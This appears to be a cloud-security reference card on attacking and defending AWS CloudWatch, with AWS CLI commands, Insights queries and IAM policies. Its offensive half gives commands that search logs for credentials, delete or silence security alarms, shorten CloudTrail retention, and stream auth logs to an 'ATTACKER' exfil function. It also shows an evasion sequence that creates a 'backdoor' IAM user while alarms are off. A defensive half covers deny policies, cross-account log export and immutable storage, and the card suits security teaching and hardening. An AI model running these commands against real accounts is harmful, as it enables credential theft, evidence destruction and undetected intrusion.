CloudWatch is AWS's monitoring service collecting logs, metrics, and events from all services. Attackers target CloudWatch to disable detection, tamper with evidence, and extract sensitive information from logs.
CloudWatch Logs collects log data from Lambda, ECS, EC2, API Gateway, and custom sources. Metric filters transform log patterns into numeric metrics. CloudWatch Insights enables SQL-like queries across log groups for analysis.
Attack note: Logs frequently contain leaked credentials, API keys, database connection strings, and internal URLs
Alarms trigger SNS notifications and auto-scaling actions based on metric thresholds. Composite alarms combine multiple alarms with AND/OR logic. Dashboards visualize metrics and can be shared publicly if misconfigured.
Attack note: Deleting or modifying alarms before an attack eliminates the primary detection mechanism for most organizations
CloudWatch is the primary detection mechanism for many organizations. Attackers who can modify alarms, delete logs, or disable monitoring gain significant evasion capabilities.
aws logs describe-log-groupsaws cloudwatch describe-alarmsaws logs describe-metric-filters \
--log-group-name /aws/lambda/myfunctionaws cloudwatch list-dashboardsaws logs describe-log-groups \
--query 'logGroups[*].[logGroupName,retentionInDays]'Key insight: CloudWatch Logs Insights can query across 50 log groups simultaneously - one query can expose credentials across all Lambda functions.
aws logs filter-log-events \
--log-group-name /aws/lambda/myfunction \
--filter-pattern "password"aws logs start-query \
--log-group-name /aws/lambda/myfunction \
--start-time $(date -d '24 hours ago' +%s) \
--end-time $(date +%s) \
--query-string "fields @message | filter @message like /(?i)(api.?key|secret|token|password)/"aws cloudwatch delete-alarms \
--alarm-names "UnauthorizedAPICalls" \
"RootAccountUsage" "IAMPolicyChanges"aws logs put-retention-policy \
--log-group-name /aws/cloudtrail/logs \
--retention-in-days 1aws cloudwatch disable-alarm-actions \
--alarm-names "SecurityAlarm" "GuardDutyAlert"aws logs put-subscription-filter \
--log-group-name /aws/lambda/auth \
--filter-name exfil \
--filter-pattern "" \
--destination-arn arn:aws:lambda:us-east-1:ATTACKER:function:exfilCloudWatch Logs Insights enables powerful SQL-like queries across up to 50 log groups simultaneously. Attackers use Insights to mine credentials, API keys, and infrastructure details from application logs.
# Query across all Lambda log groups
fields @timestamp, @message
| filter @message like /(?i)(password|secret|api.?key|token|AKIA)/
| sort @timestamp desc
| limit 200
# Find AWS access keys in logs
fields @timestamp, @message
| filter @message like /AKIA[A-Z0-9]{16}/
| sort @timestamp desc
# Find database connection strings
fields @timestamp, @message
| filter @message like /(?i)(jdbc:|mongodb:|mysql:|postgres:)/
| sort @timestamp desc# Step 1: Enumerate security alarms
aws cloudwatch describe-alarms \
--alarm-name-prefix "Security" \
--query 'MetricAlarms[*].[AlarmName,MetricName]'
# Step 2: Disable alarm actions (silent)
aws cloudwatch disable-alarm-actions \
--alarm-names "SecurityAlarm-IAMChanges" \
"SecurityAlarm-RootLogin"
# Step 3: Perform attack (undetected)
aws iam create-user --user-name backdoor
# Step 4: Re-enable alarms (cover tracks)
aws cloudwatch enable-alarm-actions \
--alarm-names "SecurityAlarm-IAMChanges"{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["logs:*", "cloudwatch:*"],
"Resource": "*"
}]
}Full access enables log tampering, alarm deletion, and evidence destruction
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"logs:GetLogEvents",
"logs:FilterLogEvents",
"logs:DescribeLogGroups",
"cloudwatch:GetMetricData",
"cloudwatch:DescribeAlarms"
],
"Resource": "*"
}]
}Read-only access to logs and metrics without modification capability
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"logs:DeleteLogGroup",
"logs:PutRetentionPolicy",
"cloudwatch:DeleteAlarms"
],
"Resource": "*"
}]
}Destructive permissions enable complete evidence destruction and evasion
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": [
"logs:DeleteLogGroup",
"logs:DeleteLogStream",
"logs:PutRetentionPolicy",
"cloudwatch:DeleteAlarms",
"cloudwatch:DisableAlarmActions"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::*:role/SecurityAdmin"
}
}
}]
}SCP-style deny on destructive actions except for security admin role
Export logs to a security account that attackers in the source account cannot access.
aws logs put-destination \
--destination-name security-backup \
--target-arn arn:aws:kinesis:us-east-1:SECURITY_ACCT:stream/logs \
--role-arn arn:aws:iam::SECURITY_ACCT:role/LogExportEncrypt log groups with KMS keys that have restricted key policies to prevent unauthorized access.
aws logs associate-kms-key \
--log-group-name /aws/cloudtrail/logs \
--kms-key-id arn:aws:kms:us-east-1:*:key/xxxUse SCPs to prevent retention policy changes and log group deletion across all accounts.
"Effect": "Deny",
"Action": ["logs:DeleteLogGroup","logs:PutRetentionPolicy"],
"Resource": "arn:aws:logs:*:*:log-group:/aws/cloudtrail/*"Create a meta-alarm that triggers when security alarms are modified or deleted.
aws cloudwatch put-metric-alarm \
--alarm-name AlarmTamperDetection \
--metric-name DeleteAlarms \
--namespace CloudTrailMetrics \
--threshold 0 --comparison-operator GreaterThanThresholdProtect critical log groups with resource-based policies to prevent cross-account tampering.
aws logs put-resource-policy \
--policy-name ProtectSecurityLogs \
--policy-document file://log-policy.jsonExport logs to S3 with object lock for immutable, tamper-proof storage.
aws s3api put-object-lock-configuration \
--bucket security-logs \
--object-lock-configuration '{"ObjectLockEnabled":"Enabled",
"Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":365}}}'List log groups, alarms, metric filters, and subscription filters across all regions
Delete metric filters, disable alarms, reduce retention, remove subscription filters
Delete specific log events, set 1-day retention on evidence groups, manipulate dashboards
AWS CloudWatch Security Card • Toc Consulting
Always obtain proper authorization before testing